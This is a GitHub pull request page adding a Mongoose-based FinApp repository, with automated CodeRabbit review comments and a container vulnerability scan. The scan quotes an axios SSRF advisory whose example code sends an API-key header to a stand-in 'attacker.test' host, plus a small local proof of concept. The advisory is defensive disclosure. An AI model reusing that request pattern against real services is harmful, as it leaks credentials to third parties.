Skip to content

Add FinApp repository with employee and project data access methods #52

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 13 commits into from
Jun 9, 2025

Conversation

anatolyshipitz
Copy link
Collaborator

  • Introduced FinAppRepository class for managing employee and project data retrieval.
  • Implemented methods getEmployees and getProjects to fetch data by Redmine IDs, with error handling using FinAppRepositoryError.
  • Created corresponding unit tests in FinAppRepository.test.ts to validate functionality and error handling.
  • Added Mongoose schemas for Employee and Project models in FinAppSchemas.ts.

These additions enhance data management capabilities for the financial application and improve test coverage for repository operations.

- Introduced `FinAppRepository` class for managing employee and project data retrieval.
- Implemented methods `getEmployees` and `getProjects` to fetch data by Redmine IDs, with error handling using `FinAppRepositoryError`.
- Created corresponding unit tests in `FinAppRepository.test.ts` to validate functionality and error handling.
- Added Mongoose schemas for `Employee` and `Project` models in `FinAppSchemas.ts`.

These additions enhance data management capabilities for the financial application and improve test coverage for repository operations.
@anatolyshipitz anatolyshipitz requested a review from killev as a code owner June 8, 2025 15:40
@anatolyshipitz anatolyshipitz self-assigned this Jun 8, 2025
Copy link

coderabbitai bot commented Jun 8, 2025

📝 Walkthrough

"""

Walkthrough

This change introduces a new FinApp data access layer, including Mongoose schemas and models for employees and projects, TypeScript interfaces for repository operations and data types, a repository class implementing data fetching with error handling, and comprehensive unit tests for both the repository and schema validation. An index file aggregates exports for easier module consumption.

Changes

File(s) Change Summary
workers/main/src/services/FinApp/FinAppRepository.ts Added FinAppRepository class implementing methods to fetch employees and projects with error handling.
workers/main/src/services/FinApp/IFinAppRepository.ts Introduced IFinAppRepository interface defining repository contract for fetching employees and projects.
workers/main/src/services/FinApp/FinAppSchemas.ts Added Mongoose schemas and models for Employee and Project entities, including embedded history schema.
workers/main/src/services/FinApp/types.ts Defined TypeScript interfaces: History, Employee, and Project for structured data typing.
workers/main/src/services/FinApp/index.ts Created module re-exporting all FinApp-related entities for unified import.
workers/main/src/services/FinApp/FinAppRepository.test.ts Added unit tests for FinAppRepository methods using mocked Mongoose models and error scenarios.
workers/main/src/services/FinApp/FinAppSchemas.test.ts Added validation tests for EmployeeModel, ProjectModel, and historySchema using Vitest and Mongoose.

Sequence Diagram(s)

sequenceDiagram
    participant Client
    participant FinAppRepository
    participant EmployeeModel
    participant ProjectModel

    Client->>FinAppRepository: getEmployees(userIds)
    FinAppRepository->>EmployeeModel: find({ redmine_id: { $in: userIds } }, projection)
    EmployeeModel-->>FinAppRepository: employees[]
    FinAppRepository-->>Client: employees[]

    Client->>FinAppRepository: getProjects(projectIds)
    FinAppRepository->>ProjectModel: find({ redmine_id: { $in: projectIds } }, projection)
    ProjectModel-->>FinAppRepository: projects[]
    FinAppRepository-->>Client: projects[]
Loading

Possibly related PRs

Suggested reviewers

  • killev
    """

📜 Recent review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between c2f89b5 and 65cd023.

📒 Files selected for processing (1)
  • workers/main/src/services/FinApp/types.ts (1 hunks)
🚧 Files skipped from review as they are similar to previous changes (1)
  • workers/main/src/services/FinApp/types.ts
⏰ Context from checks skipped due to timeout of 90000ms (6)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Docker Security Scanning (temporal, Dockerfile.temporal, temporal-test:latest)
  • GitHub Check: SonarQube
  • GitHub Check: Service Availability Check
  • GitHub Check: Analyze (actions)
  • GitHub Check: Analyze (javascript-typescript)
✨ Finishing Touches
  • 📝 Generate Docstrings

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share
🪧 Tips

Chat

There are 3 ways to chat with CodeRabbit:

  • Review comments: Directly reply to a review comment made by CodeRabbit. Example:
    • I pushed a fix in commit <commit_id>, please review it.
    • Explain this complex logic.
    • Open a follow-up GitHub issue for this discussion.
  • Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
    • @coderabbitai explain this code block.
    • @coderabbitai modularize this function.
  • PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
    • @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
    • @coderabbitai read src/utils.ts and explain its main purpose.
    • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
    • @coderabbitai help me debug CodeRabbit configuration file.

Support

Need help? Create a ticket on our support page for assistance with any issues or questions.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (Invoked using PR comments)

  • @coderabbitai pause to pause the reviews on a PR.
  • @coderabbitai resume to resume the paused reviews.
  • @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
  • @coderabbitai full review to do a full review from scratch and review all the files again.
  • @coderabbitai summary to regenerate the summary of the PR.
  • @coderabbitai generate docstrings to generate docstrings for this PR.
  • @coderabbitai generate sequence diagram to generate a sequence diagram of the changes in this PR.
  • @coderabbitai resolve resolve all the CodeRabbit review comments.
  • @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
  • @coderabbitai help to get help.

Other keywords and placeholders

  • Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
  • Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
  • Add @coderabbitai anywhere in the PR title to generate the title automatically.

CodeRabbit Configuration File (.coderabbit.yaml)

  • You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
  • Please see the configuration documentation for more information.
  • If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

  • Visit our Documentation for detailed information on how to use CodeRabbit.
  • Join our Discord Community to get help, request features, and share feedback.
  • Follow us on X/Twitter for updates and announcements.

Copy link

github-actions bot commented Jun 8, 2025

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest
digestsha256:8452cf853bbf92e7db2baa0b00d7791dedee068d6c15bc959d3c4aad2d21f99e
vulnerabilitiescritical: 2 high: 6 medium: 0 low: 0
platformlinux/amd64
size243 MB
packages1628
📦 Base Image node:20-alpine
also known as
  • 20-alpine3.21
  • 20.19-alpine
  • 20.19-alpine3.21
  • 20.19.0-alpine
  • 20.19.0-alpine3.21
  • iron-alpine
  • iron-alpine3.21
digestsha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilitiescritical: 0 high: 1 medium: 0 low: 0
critical: 1 high: 0 medium: 0 low: 0 samlify 2.9.0 (npm)

pkg:npm/[email protected]

critical 9.9: CVE--2025--47949 Improper Verification of Cryptographic Signature

Affected range<2.10.0
Fixed version2.10.0
CVSS Score9.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
EPSS Score0.023%
EPSS Percentile5th percentile
Description

A Signature Wrapping attack has been found in samlify <v2.10.0, allowing an attacker to forge a SAML Response to authenticate as any user.
An attacker would need a signed XML document by the identity provider.

critical: 1 high: 0 medium: 0 low: 0 stdlib 1.24.0 (golang)

pkg:golang/[email protected]

critical : CVE--2025--22871

Affected range>=1.24.0-0
<1.24.2
Fixed version1.24.2
EPSS Score0.018%
EPSS Percentile3rd percentile
Description

The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

critical: 0 high: 1 medium: 0 low: 0 axios 1.7.4 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2025--27152 Server-Side Request Forgery (SSRF)

Affected range>=1.0.0
<1.8.2
Fixed version1.8.2
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.021%
EPSS Percentile4th percentile
Description

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.
critical: 0 high: 1 medium: 0 low: 0 semver 5.3.0 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2022--25883 Inefficient Regular Expression Complexity

Affected range<5.7.2
Fixed version5.7.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.308%
EPSS Percentile53rd percentile
Description

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

critical: 0 high: 1 medium: 0 low: 0 cross-spawn 7.0.3 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2024--21538 Inefficient Regular Expression Complexity

Affected range>=7.0.0
<7.0.5
Fixed version7.0.5
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.151%
EPSS Percentile37th percentile
Description

Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

critical: 0 high: 1 medium: 0 low: 0 multer 1.4.5-lts.2 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2025--47935 Missing Release of Memory after Effective Lifetime

Affected range<2.0.0
Fixed version2.0.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.049%
EPSS Percentile15th percentile
Description

Impact

Multer <2.0.0 is vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal busboy stream is not closed, violating Node.js stream safety guidance.

This leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted.

Patches

Users should upgrade to 2.0.0

Workarounds

None

References

critical: 0 high: 1 medium: 0 low: 0 tar-fs 2.1.2 (npm)

pkg:npm/[email protected]

high 8.7: CVE--2025--48387 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range>=2.0.0
<2.1.3
Fixed version2.1.3
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.082%
EPSS Percentile25th percentile
Description

Impact

v3.0.8, v2.1.2, v1.16.4 and below

Patches

Has been patched in 3.0.9, 2.1.3, and 1.16.5

Workarounds

You can use the ignore option to ignore non files/directories.

  ignore (_, header) {
    // pass files & directories, ignore e.g. symlinks
    return header.type !== 'file' && header.type !== 'directory'
  }

Credit

Thank you Caleb Brown from Google Open Source Security Team for reporting this in detail.

critical: 0 high: 1 medium: 0 low: 0 pdfjs-dist 2.16.105 (npm)

pkg:npm/[email protected]

high 8.8: CVE--2024--4367 Improper Check for Unusual or Exceptional Conditions

Affected range<=4.1.392
Fixed version4.2.67
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score15.980%
EPSS Percentile94th percentile
Description

Impact

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches

The patch removes the use of eval:
mozilla/pdf.js#18015

Workarounds

Set the option isEvalSupported to false.

References

https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 0

🧹 Nitpick comments (4)
workers/main/src/services/FinApp/IFinAppRepository.ts (1)

6-15: Well-designed interface with clear method signatures.

The interface follows good TypeScript practices with proper documentation and type safety. The batch operation design (accepting arrays) is efficient for database operations.

Consider adding JSDoc parameter documentation to clarify behavior with empty arrays:

/**
 * Fetch employees by Redmine user IDs.
+ * @param userIds Array of Redmine user IDs (empty array returns empty result)
 */
getEmployees(userIds: number[]): Promise<Employee[]>;
/**
 * Fetch projects by Redmine project IDs.
+ * @param projectIds Array of Redmine project IDs (empty array returns empty result)  
 */
getProjects(projectIds: number[]): Promise<Project[]>;
workers/main/src/services/FinApp/FinAppRepository.test.ts (1)

42-47: Enhance error assertion specificity.

Consider asserting the specific error message or properties to ensure the correct error handling flow:

- await expect(repo.getEmployees([1])).rejects.toThrow(FinAppRepositoryError);
+ await expect(repo.getEmployees([1])).rejects.toThrow(
+   expect.objectContaining({
+     name: 'FinAppRepositoryError',
+     message: expect.stringContaining('FinAppRepository._findByIds failed')
+   })
+ );

Also applies to: 66-71

workers/main/src/services/FinApp/types.ts (1)

1-3: Consider stricter typing for date strings in History interface.

The current implementation allows any string as a date key. Consider if a more specific type would be beneficial:

export interface History {
- rate: { [date: string]: number };
+ rate: { [date: string]: number }; // Consider: Record<string, number> or with ISO date constraint
}

The current flexible approach may be intentional for various date formats, so this change should align with your data requirements.

workers/main/src/services/FinApp/FinAppRepository.ts (1)

18-29: Improve type safety and add input validation.

The implementation is solid with good error handling and efficient querying using .lean() for performance. However, consider these improvements:

  1. Input validation: Add a guard clause for empty arrays to make behavior explicit
  2. Type safety: Use a more specific projection type
  3. Error handling: Improve error type checking
-  private async _findByIds<T>(model: Model<T & Document>, ids: number[], projection: Record<string, any>): Promise<T[]> {
+  private async _findByIds<T>(
+    model: Model<T & Document>, 
+    ids: number[], 
+    projection: Record<string, 0 | 1>
+  ): Promise<T[]> {
+    if (ids.length === 0) {
+      return [];
+    }
+
     try {
       return await model.find(
           { redmine_id: { $in: ids } },
           projection,
       ).lean<T[]>();
     } catch (error) {
+      const errorMessage = error instanceof Error ? error.message : String(error);
       throw new FinAppRepositoryError(
-          `FinAppRepository._findByIds failed: ${(error as Error).message} (ids: ${ids})`,
+          `FinAppRepository._findByIds failed: ${errorMessage} (ids: ${ids})`,
       );
     }
   }
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between ee7daf5 and dbc070c.

📒 Files selected for processing (6)
  • workers/main/src/services/FinApp/FinAppRepository.test.ts (1 hunks)
  • workers/main/src/services/FinApp/FinAppRepository.ts (1 hunks)
  • workers/main/src/services/FinApp/FinAppSchemas.ts (1 hunks)
  • workers/main/src/services/FinApp/IFinAppRepository.ts (1 hunks)
  • workers/main/src/services/FinApp/index.ts (1 hunks)
  • workers/main/src/services/FinApp/types.ts (1 hunks)
🧰 Additional context used
🧬 Code Graph Analysis (3)
workers/main/src/services/FinApp/FinAppRepository.test.ts (4)
workers/main/src/services/FinApp/FinAppRepository.ts (1)
  • FinAppRepository (10-49)
workers/main/src/services/FinApp/types.ts (2)
  • Employee (5-8)
  • Project (10-14)
workers/main/src/services/FinApp/FinAppSchemas.ts (2)
  • EmployeeModel (15-16)
  • ProjectModel (24-25)
workers/main/src/common/errors/FinAppRepositoryError.ts (1)
  • FinAppRepositoryError (3-7)
workers/main/src/services/FinApp/IFinAppRepository.ts (1)
workers/main/src/services/FinApp/types.ts (2)
  • Employee (5-8)
  • Project (10-14)
workers/main/src/services/FinApp/FinAppRepository.ts (4)
workers/main/src/services/FinApp/IFinAppRepository.ts (1)
  • IFinAppRepository (6-15)
workers/main/src/common/errors/FinAppRepositoryError.ts (1)
  • FinAppRepositoryError (3-7)
workers/main/src/services/FinApp/types.ts (2)
  • Employee (5-8)
  • Project (10-14)
workers/main/src/services/FinApp/FinAppSchemas.ts (2)
  • EmployeeModel (15-16)
  • ProjectModel (24-25)
⏰ Context from checks skipped due to timeout of 90000ms (5)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Docker Security Scanning (temporal, Dockerfile.temporal, temporal-test:latest)
  • GitHub Check: Service Availability Check
  • GitHub Check: SonarQube
  • GitHub Check: Analyze (javascript-typescript)
🔇 Additional comments (15)
workers/main/src/services/FinApp/index.ts (1)

1-4: Clean barrel export pattern implemented correctly.

The index file follows standard TypeScript conventions for creating a single entry point. This enables clean imports and proper module encapsulation.

workers/main/src/services/FinApp/FinAppRepository.test.ts (4)

7-16: Proper mocking setup for Mongoose models.

The mock correctly simulates the Mongoose API structure with the chained .find().lean() pattern.


21-24: Good test setup with proper mock clearing.

The beforeEach setup ensures test isolation by clearing mocks between test runs.


27-40: Comprehensive success case testing.

The test validates both the return value and the correct method invocation with proper query parameters and projections.


51-64: Thorough project testing with realistic data.

The test includes quick_books_id which properly validates the Project interface structure and correct projection fields.

workers/main/src/services/FinApp/types.ts (2)

5-8: Clean Employee interface design.

The interface properly defines the required redmine_id and optional history field, matching the expected data structure.


10-14: Well-structured Project interface.

The interface appropriately includes both Redmine and QuickBooks integration points with optional fields for incomplete data scenarios.

workers/main/src/services/FinApp/FinAppSchemas.ts (5)

3-8: LGTM! Well-structured embedded schema.

The historySchema correctly defines the rate field as a Map of numbers and properly disables _id generation for the embedded subdocument. This aligns well with the History interface structure.


10-13: LGTM! Proper indexing and schema structure.

The employeeSchema correctly defines the required redmine_id field with indexing for efficient queries and properly embeds the history schema. This matches the Employee interface requirements.


15-16: LGTM! Good pattern for development environments.

The conditional model creation pattern prevents "Cannot overwrite model" errors during development when modules are reloaded.


18-22: LGTM! Schema structure matches interface requirements.

The projectSchema correctly includes the optional quick_books_id field and maintains consistency with the employee schema pattern. The indexed redmine_id field will ensure efficient queries.


24-25: LGTM! Consistent model creation pattern.

The ProjectModel follows the same safe creation pattern as EmployeeModel, maintaining consistency across the codebase.

workers/main/src/services/FinApp/FinAppRepository.ts (3)

1-5: LGTM! All necessary imports are present.

The imports correctly reference the custom error class, Mongoose models, interface, types, and required Mongoose types.


35-37: LGTM! Correct projection for Employee interface.

The projection correctly selects only the redmine_id and history.rate fields, which aligns with the Employee interface requirements and optimizes query performance.


44-46: LGTM! Correct projection for Project interface.

The projection appropriately includes redmine_id, quick_books_id, and history.rate fields, matching the Project interface structure and maintaining efficient data retrieval.

coderabbitai[bot]
coderabbitai bot previously approved these changes Jun 8, 2025
- Updated unit tests in `FinAppRepository.test.ts` for better clarity and consistency, including renaming test cases for improved readability.
- Introduced mock functions for employee and project retrieval to streamline test setup and enhance error handling.
- Refactored `_findByIds` method in `FinAppRepository.ts` to improve error message clarity by including the list of IDs in the error message.
- Enhanced Mongoose model definitions in `FinAppSchemas.ts` to ensure proper type handling for `Employee` and `Project`.

These changes improve the robustness of the FinApp repository tests and enhance error reporting for data retrieval operations.
coderabbitai[bot]
coderabbitai bot previously approved these changes Jun 8, 2025
- Introduced tests for `EmployeeModel` and `ProjectModel` to validate required fields and data types, ensuring proper error handling for invalid inputs.
- Added tests for `historySchema` to verify acceptance of valid history objects and rejection of non-numeric rate values.
- Implemented a helper function to validate Mongoose document instances without saving to the database.

These tests enhance the reliability of the FinAppSchemas and improve overall test coverage for model validation.
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 0

🧹 Nitpick comments (3)
workers/main/src/services/FinApp/FinAppSchemas.test.ts (3)

22-49: Enhance test coverage for EmployeeModel validation.

The basic validation tests are good, but consider adding more comprehensive test cases to improve coverage.

Consider adding these additional test cases:

+    it('should reject negative redmine_id', async () => {
+      const doc = new EmployeeModel({ redmine_id: -1 });
+      const err = await validateDoc(doc);
+
+      expect(err).toBeTruthy();
+      expect(err?.errors.redmine_id).toBeDefined();
+    });
+
+    it('should accept employee without history', async () => {
+      const doc = new EmployeeModel({ redmine_id: 123 });
+      const err = await validateDoc(doc);
+
+      expect(err).toBeNull();
+    });

51-78: Enhance test coverage for ProjectModel validation.

Similar to EmployeeModel, the basic tests are solid but could benefit from additional edge case coverage.

Consider adding these test cases for consistency:

+    it('should reject negative redmine_id', async () => {
+      const doc = new ProjectModel({ redmine_id: -1 });
+      const err = await validateDoc(doc);
+
+      expect(err).toBeTruthy();
+      expect(err?.errors.redmine_id).toBeDefined();
+    });
+
+    it('should accept project without optional fields', async () => {
+      const doc = new ProjectModel({ redmine_id: 456 });
+      const err = await validateDoc(doc);
+
+      expect(err).toBeNull();
+    });

80-106: Improve test organization with systematic cleanup.

The historySchema tests are well-implemented, but the manual cleanup could be systematized for better maintainability.

Consider refactoring to use afterEach for more systematic cleanup:

 describe('historySchema', () => {
+  const createdModels: string[] = [];
+
+  afterEach(() => {
+    createdModels.forEach(modelName => {
+      if (mongoose.models[modelName]) {
+        mongoose.deleteModel(modelName);
+      }
+    });
+    createdModels.length = 0;
+  });
+
   it('should accept a valid history object', async () => {
+    const modelName = 'TestHistory';
     const TestModel = mongoose.model(
-      'TestHistory',
+      modelName,
       new mongoose.Schema({ history: historySchema }),
     );
+    createdModels.push(modelName);
     const doc = new TestModel({ history: { rate: { '2024-01-01': 123 } } });
     const err = await validateDoc(doc);

     expect(err).toBeNull();
-    mongoose.deleteModel('TestHistory');
   });

   it('should reject non-number rate values', async () => {
+    const modelName = 'TestHistory2';
     const TestModel = mongoose.model(
-      'TestHistory2',
+      modelName,
       new mongoose.Schema({ history: historySchema }),
     );
+    createdModels.push(modelName);
     const doc = new TestModel({
       history: { rate: { '2024-01-01': 'not-a-number' } },
     });
     const err = await validateDoc(doc);

     expect(err).toBeTruthy();
-    mongoose.deleteModel('TestHistory2');
   });
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 2d72cb0 and 6c42802.

📒 Files selected for processing (1)
  • workers/main/src/services/FinApp/FinAppSchemas.test.ts (1 hunks)
🧰 Additional context used
🧬 Code Graph Analysis (1)
workers/main/src/services/FinApp/FinAppSchemas.test.ts (1)
workers/main/src/services/FinApp/FinAppSchemas.ts (3)
  • EmployeeModel (17-20)
  • ProjectModel (28-31)
  • historySchema (5-10)
⏰ Context from checks skipped due to timeout of 90000ms (6)
  • GitHub Check: Docker Security Scanning (temporal, Dockerfile.temporal, temporal-test:latest)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: SonarQube
  • GitHub Check: Service Availability Check
  • GitHub Check: Analyze (actions)
  • GitHub Check: Analyze (javascript-typescript)
🔇 Additional comments (1)
workers/main/src/services/FinApp/FinAppSchemas.test.ts (1)

6-20: LGTM! Well-implemented validation helper.

The validateDoc helper function is well-designed with proper error handling and type safety. It correctly distinguishes between validation errors and unexpected errors.

coderabbitai[bot]
coderabbitai bot previously approved these changes Jun 8, 2025
- Introduced `getFinAppData` function to fetch financial application
data from a specified JSON file, process it, and save the results to a
new file.
- Implemented error handling using `AppError` for various failure
scenarios, ensuring robust error reporting.
- Added unit tests for `getFinAppData` to validate successful data
retrieval and error handling, including mock implementations for
dependencies.
- Updated the `index.ts` file to export the new `getFinAppData` function
for broader access.

These changes enhance the financial reporting capabilities and improve
test coverage for data processing operations.
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🔭 Outside diff range comments (1)
workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.test.ts (1)

17-17: 🛠️ Refactor suggestion

Update the test description to reflect actual workflow behavior.

The test description indicates it returns the fileLink from getTargetUnits, but the workflow now calls both getTargetUnits and getFinAppData, returning the result from getFinAppData.

-  it('returns the fileLink from getTargetUnits', async () => {
+  it('returns the fileLink from getFinAppData', async () => {
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 6c42802 and 804c270.

📒 Files selected for processing (5)
  • workers/main/src/activities/weeklyFinancialReports/getFinAppData.test.ts (1 hunks)
  • workers/main/src/activities/weeklyFinancialReports/getFinAppData.ts (1 hunks)
  • workers/main/src/activities/weeklyFinancialReports/index.ts (1 hunks)
  • workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.test.ts (1 hunks)
  • workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.ts (1 hunks)
✅ Files skipped from review due to trivial changes (1)
  • workers/main/src/activities/weeklyFinancialReports/index.ts
🧰 Additional context used
🧬 Code Graph Analysis (2)
workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.ts (2)
workers/main/src/activities/weeklyFinancialReports/getTargetUnits.ts (1)
  • getTargetUnits (11-31)
workers/main/src/activities/weeklyFinancialReports/getFinAppData.ts (1)
  • getFinAppData (15-44)
workers/main/src/activities/weeklyFinancialReports/getFinAppData.ts (5)
workers/main/src/common/MongoPool.ts (1)
  • MongoPool (5-65)
workers/main/src/services/FinApp/FinAppRepository.ts (1)
  • FinAppRepository (11-58)
workers/main/src/common/fileUtils.ts (2)
  • readJsonFile (6-17)
  • writeJsonFile (19-32)
workers/main/src/common/types.ts (1)
  • TargetUnit (1-12)
workers/main/src/common/errors/AppError.ts (1)
  • AppError (1-9)
⏰ Context from checks skipped due to timeout of 90000ms (4)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Docker Security Scanning (temporal, Dockerfile.temporal, temporal-test:latest)
  • GitHub Check: Service Availability Check
  • GitHub Check: Analyze (javascript-typescript)
🔇 Additional comments (6)
workers/main/src/workflows/weeklyFinancialReports/weeklyFinancialReports.workflow.ts (1)

5-14: LGTM! Well-structured workflow implementation.

The workflow correctly chains the activities, using the output from getTargetUnits as input to getFinAppData, and follows the established pattern for activity orchestration.

workers/main/src/activities/weeklyFinancialReports/getFinAppData.ts (2)

11-13: LGTM! Efficient unique ID extraction.

The getUniqueIds utility function correctly uses Set for deduplication and provides good type safety with generics.


15-44: LGTM! Robust implementation with proper resource management.

The function demonstrates excellent practices:

  • Proper MongoDB connection management with singleton pattern
  • Concurrent data fetching with Promise.all for better performance
  • Comprehensive error handling with custom AppError
  • Resource cleanup in finally block ensures connection is always closed
  • Consistent file naming pattern with timestamps
workers/main/src/activities/weeklyFinancialReports/getFinAppData.test.ts (3)

61-82: LGTM! Excellent helper functions for test setup.

The helper functions createRepoInstance and createMongoPoolInstance provide clean abstractions for creating mocked dependencies with sensible defaults and override capabilities.


108-112: LGTM! Smart error testing helper.

The expectAppError helper function efficiently tests error scenarios while ensuring proper resource cleanup behavior.


136-198: LGTM! Comprehensive test coverage.

The test suite excellently covers:

  • Success scenarios with proper data flow verification
  • Multiple error scenarios (file read, employee fetch, project fetch, file write)
  • Resource cleanup verification in all cases
  • Deterministic testing with Date.now() mocking

This provides robust confidence in the function's reliability.

- Added comments to `FinAppSchemas.ts` to clarify the purpose of the `historySchema`, `employeeSchema`, and `projectSchema`.
- Improved documentation for the `EmployeeModel` and `ProjectModel` to provide better context for their usage.

These changes enhance code readability and maintainability by providing clear explanations of the schemas used in the financial application.
anatolyshipitz added a commit that referenced this pull request Jun 8, 2025
- Removed the error parameter from the TargetUnitRepositoryError instantiation in the getTargetUnits method to streamline error reporting.
- This change enhances the clarity of error messages by focusing on the primary error message without additional context.

These modifications improve the error handling mechanism within the TargetUnitRepository, ensuring more concise error reporting.
Copy link
Contributor

@killev killev left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Several neat peaks need to be done. Also I asked some questions.

anatolyshipitz and others added 6 commits June 9, 2025 14:27
- Simplified the `getEmployees` and `getProjects` methods by removing the generic `_findByIds` method and directly implementing the data fetching logic.
- Enhanced error handling in both methods to provide clearer error messages.
- Updated the projection fields in the queries to ensure only necessary data is retrieved.

